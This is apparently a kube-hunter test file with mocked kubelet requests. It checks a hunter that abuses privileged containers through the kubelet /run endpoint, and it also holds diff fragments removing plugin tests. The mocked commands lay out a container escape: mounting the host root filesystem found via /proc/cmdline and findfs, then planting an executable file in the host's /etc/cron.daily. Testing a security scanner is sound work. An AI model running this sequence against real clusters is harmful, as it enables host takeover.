session_mock.get(listing_pods_url, exc=requests.exceptions.ConnectionError)
class_being_tested.execute()
assert class_being_tested.event.evidence == ""
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter:
def __init__(self, event):
global counter
counter += 1
def test_check_file_exists_existing_file():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
return_value = class_being_tested.check_file_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "mock.txt"
)
assert return_value is True
def test_check_file_exists_non_existent_file():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote("ls nonexistentmock.txt", safe=""),
text="ls: nonexistentmock.txt: No such file or directory",
)
return_value = class_being_tested.check_file_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"nonexistentmock.txt",
)
assert return_value is False
rm_command_removed_successfully_callback_counter = 0
def rm_command_removed_successfully_callback(request, context):
global rm_command_removed_successfully_callback_counter
if rm_command_removed_successfully_callback_counter == 0:
rm_command_removed_successfully_callback_counter += 1
return "mock.txt"
else:
return "ls: mock.txt: No such file or directory"
def test_rm_command_removed_successfully():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote("ls mock.txt", safe=""), text=rm_command_removed_successfully_callback
)
session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="")
return_value = class_being_tested.rm_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"mock.txt",
number_of_rm_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is True
def test_rm_command_removed_failed():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="Permission denied")
return_value = class_being_tested.rm_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"mock.txt",
number_of_rm_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is False
def test_attack_exposed_existing_privileged_container_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
)
return_value = class_being_tested.attack_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
directory_created,
number_of_rm_attempts,
None,
file_name,
)
assert return_value["result"] is True
def test_attack_exposed_existing_privileged_container_failure_when_touch():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""),
text="Operation not permitted",
)
return_value = class_being_tested.attack_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
directory_created,
None,
file_name,
)
assert return_value["result"] is False
def test_attack_exposed_existing_privileged_container_failure_when_chmod():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
text="Permission denied",
)
return_value = class_being_tested.attack_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
directory_created,
None,
file_name,
)
assert return_value["result"] is False
def test_check_directory_exists_existing_directory():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
return_value = class_being_tested.check_directory_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
)
assert return_value is True
def test_check_directory_exists_non_existent_directory():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="ls: Mock: No such file or directory")
return_value = class_being_tested.check_directory_exists(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
)
assert return_value is False
rmdir_command_removed_successfully_callback_counter = 0
def rmdir_command_removed_successfully_callback(request, context):
global rmdir_command_removed_successfully_callback_counter
if rmdir_command_removed_successfully_callback_counter == 0:
rmdir_command_removed_successfully_callback_counter += 1
return "mock.txt"
else:
return "ls: Mock: No such file or directory"
def test_rmdir_command_removed_successfully():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(
run_url + urllib.parse.quote("ls Mock", safe=""), text=rmdir_command_removed_successfully_callback
)
session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="")
return_value = class_being_tested.rmdir_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"Mock",
number_of_rmdir_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is True
def test_rmdir_command_removed_failed():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="Permission denied")
return_value = class_being_tested.rmdir_command(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
"Mock",
number_of_rmdir_attempts=1,
seconds_to_wait_for_os_command=None,
)
assert return_value is False
def test_get_root_values_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
root_value, root_value_type = class_being_tested.get_root_values(cat_proc_cmdline)
assert root_value == "Mock" and root_value_type == "LABEL="
def test_get_root_values_failure():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
root_value, root_value_type = class_being_tested.get_root_values("")
assert root_value is None and root_value_type is None
def test_process_exposed_existing_privileged_container_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is True
def test_process_exposed_existing_privileged_container_failure_when_cat_cmdline():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text="Permission denied")
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_findfs():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="Permission denied")
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_mkdir():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied")
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_mount():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
text="Permission denied",
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_process_exposed_existing_privileged_container_failure_when_cat_hostname():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""),
text="Permission denied",
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
number_of_umount_attempts,
number_of_rmdir_attempts,
None,
directory_created,
)
assert return_value["result"] is False
def test_maliciousintentviasecurekubeletport_success():
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
)
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
)
class_being_tested.execute(directory_created, file_name)
message = "The following exposed existing privileged containers have been successfully"
message += " abused by starting/modifying a process in the host."
assert message in class_being_tested.event.evidence

View File

@@ -1,8 +1,3 @@
# flake8: noqa: E402
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.report import get_reporter, get_dispatcher
from kube_hunter.modules.report.factory import (
YAMLReporter,

View File

@@ -1,13 +0,0 @@
from kube_hunter.plugins import hookimpl
return_string = "return_string"
@hookimpl
def parser_add_arguments(parser):
return return_string
@hookimpl
def load_plugin(args):
return return_string

View File

@@ -1,17 +0,0 @@
from argparse import ArgumentParser
from tests.plugins import test_hooks
from kube_hunter.plugins import initialize_plugin_manager
def test_all_plugin_hooks():
pm = initialize_plugin_manager()
pm.register(test_hooks)
# Testing parser_add_arguments
parser = ArgumentParser("Test Argument Parser")
results = pm.hook.parser_add_arguments(parser=parser)
assert test_hooks.return_string in results
# Testing load_plugin
results = pm.hook.load_plugin(args=[])
assert test_hooks.return_string in results